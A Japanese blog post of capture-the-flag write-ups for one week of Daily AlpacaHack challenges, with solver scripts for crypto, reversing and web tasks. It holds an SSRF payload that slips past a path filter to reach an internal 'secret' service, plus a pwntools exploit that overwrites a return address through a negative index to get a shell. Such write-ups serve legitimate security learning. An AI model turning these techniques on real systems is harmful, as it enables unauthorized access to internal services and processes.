# Daily AlpacaHack Week 1 (2025-12-01 〜 2025-12-07)

## 12/1: AlpacaHack 2100 (Misc, Welcome)

URLのクエリが`?month=2025-12`のように`年-月`となっているので，`?month=2100-01`として遷移する．

## 12/2: a fact of CTF (Crypto, Easy)

フラグの各文字を数値に変換し，それを指数として素数を累乗したものが出力されている．
解法としてはoutputが素数で何回割れるかを順々に計算すればよさそう．

import os
import sys

# flag = os.environ.get("FLAG", "not_a_flag")
flag = ""

# all prime numbers less than 300
primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67,
          71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149,
          151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229,
          233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293]
# assert len(flag) <= len(primes)

# ct = 1
# for i, c in enumerate(flag):
    # ct *= primes[i] ** (ord(c))

sys.set_int_max_str_digits(0) # 整数と文字列の変換桁数制限を解除

def solve():
    with open('output.txt', 'r') as f:
        hex_string = f.read().strip()  # ファイルからhex文字列を読み込む
        hex_string = hex_string.replace("0x", "") # "0x" を削除する
        ct = int(hex_string, 16)  # 16進数として整数に変換する

    recovered_flag_chars = []

    # 各素数について、ctに含まれるべき乗の回数を計算する
    for prime in primes:
        exponent = 0
        # ctがprimeで割り切れる限り、割り続け、指数をカウントする
        while ct % prime == 0:
            ct //= prime  # 整数除算
            exponent += 1
        
        if exponent > 0:
            recovered_flag_chars.append(chr(exponent))
        # ctが1になったら、残りの素数は関係ないのでループを抜ける
        if ct == 1:
            break
    print("".join(recovered_flag_chars))

solve()

# print(ct)

## 12/3: Emojify (Web, Medium)

構成は，

- `frontend`はポート`3000`で外部に公開，エンドポイント`api`がある
- `backend`と`secret`は内部サービスであり、直接アクセスできない

また，wafのチェックが入る．

const waf = (path) => {
  if (typeof path !== "string") throw new Error("Invalid types");
  if (!path.startsWith("/")) throw new Error("Invalid 1");
  if (!path.includes("emoji")) throw new Error("Invalid 2");
  return path;
};

条件を整理すると，

1. `path`が`/`で始まる
2. `path`に`emoji`という文字列が含まれる

ヒントでMDNのドキュメントを活用するよう記載があり，`URL`コンストラクタの仕様を確認してみると，pathが`//`で始まる場合はbaseが上書きされるということが分かった．
あとは末尾を調整し，実行URLは以下のようになった．
`http://localhost:3000/api?path=//secret:1337/flag?d=emoji`

## 12/4: Leaked Flag Checker (Rev, Easy)

`challenge.c`より入力文字列を7でXORしたものと`xor_flag`を比較している．
実行ファイルからそれっぽい箇所を探す．

   0x555555555204 <main+27>    movabs rax, 0x6b7c666466776b46
   0x55555555520e <main+37>    mov    qword ptr [rbp - 0x3e], rax
   0x555555555212 <main+41>    movabs rax, 0x7a7e6c64726b7c
   0x55555555521c <main+51>    mov    qword ptr [rbp - 0x38], rax
   0x555555555220 <main+55>    mov    qword ptr [rbp - 0x48], 0xd

書き込み位置が若干かぶっているが，メモリ上に構築される`xor_flag`は`Fkwfdf|krdl~z`となることがわかった．solverは以下のようになった.

encrypted_string = "Fkwfdf|krdl~z"
key = 7
decrypted_string = ""
for char in encrypted_string:
  decrypted_char = chr(ord(char) ^ key)
  decrypted_string += decrypted_char
print(f"The flag is: {decrypted_string}")

## 12/5: Integer Writer (Pwn, Hard)

入力として，`pos`と`val`を設定できる．
`val`には`win`関数のアドレスにするとして，`pos`をどうするか悩んだ．
100以上ははじかれてしまうが，マイナス方向は制限されていない．1ずつすらして試したところ．`-6`でうまくいった．

from pwn import *

# バイナリのコンテキストを設定すると、ELFオブジェクトから
# シンボル（関数アドレスなど）を自動的に解決できる
context.binary = elf = ELF('./chal')

# ターゲットプログラムを起動
p = process('./chal')

# ELFオブジェクトから 'win' 関数のアドレスを直接取得
# これにより、アドレスをハードコーディングする必要がなくなる
win_addr = elf.symbols['win']

# scanfのリターンアドレスを上書きするためのオフセット
pos_index = -6

# 1. posにオフセット(-6)を送信
p.sendlineafter(b'pos > ', str(pos_index).encode())
log.info(f"Sent pos: {pos_index}")

# 2. valにwin()のアドレスを送信してリターンアドレスを上書き
p.sendlineafter(b'val > ', str(win_addr).encode())
log.info(f"Sent val (win address): {hex(win_addr)}")

# 3. 攻撃成功！シェルを操作する
log.success("Got a shell!")
p.interactive()

## 12/6: simpleoverflow (Pwn, Easy)

入力を10文字以上与えると`is_admin`が書き換わり，フラグが得られた．

## 12/7: size limit (Crypto, Medium)

秘密鍵まで与えらているが，そのままでは復号できない．
flagを数値化した平文`m`が法`N`よりも大きく，復号して得られるのは`m mod N`となってしまう．
この復号結果を`m_recovered`として関係性を整理する．ある整数 `k` を用いて，
`m = k * N + m_recovered`

フラグのフォーマットは`TSGLIVE{...}`なので，これに合致するkを探す．
AIに頼りつつsolverを書いた．

#!/usr/bin/python3

from Crypto.Util.number import long_to_bytes, bytes_to_long

# Values from output.txt
N = 65667982563395257456152578363358687414628050739860770903063206052667362178166666380390723634587933595241827767873104710537142458025201334420236653463444534018710274020834864080096247524541536313609304410859158429347482458882414275205742819080566766561312731091051276328620677195262137013588957713118640118673
e = 65537
c = 58443816925218320329602359198394095572237417576497896076618137604965419783093911328796166409276903249508047338019341719597113848471431947372873538253571717690982768328452282012361099369599755904288363602972252305949989677897650696581947849811037791349546750246816657184156675665729104603485387966759433211643
d = 14647215605104168233120807948419630020096019740227424951721591560155202409637919482865428659999792686501442518131270040719470657054982576354654918600616933355973824403026082055356501271036719280033851192012142309772828216012662939598631302504166489383155079998940570839539052860822636744356963005556392864865

# The message m was > N, so decryption gives m mod N
m_recovered = pow(c, d, N)

# The original message m_orig = k * N + m_recovered
# We need to find k. The flag has a known format and length.
FLAG_LEN = 131
PREFIX = b'TSGLIVE{'

# Establish a search range for m_orig based on the prefix
prefix_val = bytes_to_long(PREFIX)
m_lower_bound = prefix_val * (256 ** (FLAG_LEN - len(PREFIX)))
m_upper_bound = (prefix_val + 1) * (256 ** (FLAG_LEN - len(PREFIX)))

# From that, establish a search range for k
# k * N + m_recovered >= m_lower_bound  => k * N >= m_lower_bound - m_recovered
# k >= (m_lower_bound - m_recovered) / N
k_lower_bound = (m_lower_bound - m_recovered) // N

# k * N + m_recovered < m_upper_bound => k * N < m_upper_bound - m_recovered
# k < (m_upper_bound - m_recovered) / N
k_upper_bound = (m_upper_bound - m_recovered) // N


# Search for the correct k
for k in range(k_lower_bound, k_upper_bound + 2): # +2 for safety
    m_candidate = k * N + m_recovered
    
    # The flag length is 131. The bit length should not exceed 131*8
    if m_candidate.bit_length() > FLAG_LEN * 8:
        continue

    flag_candidate = long_to_bytes(m_candidate, FLAG_LEN)

    if flag_candidate.startswith(PREFIX) and flag_candidate.endswith(b'}'):
        print(f"Found flag with k = {k}:")
        try:
            print(flag_candidate.decode('utf-8'))
        except UnicodeDecodeError:
            print(f"Could not decode flag: {flag_candidate}")
        break
else:
    print("Flag not found in the calculated range of k.")
    print(f"Searched k from {k_lower_bound} to {k_upper_bound + 1}")

## 感想

初週は「24時間以内に解く」ことを意識しすぎて，かなりAIに頼りきりになってしまった感がある．
これを書いている時点ですでに3週間経っており，ところどころ解法を忘れている問題も出てきているので，やはり復習の大切さを実感した．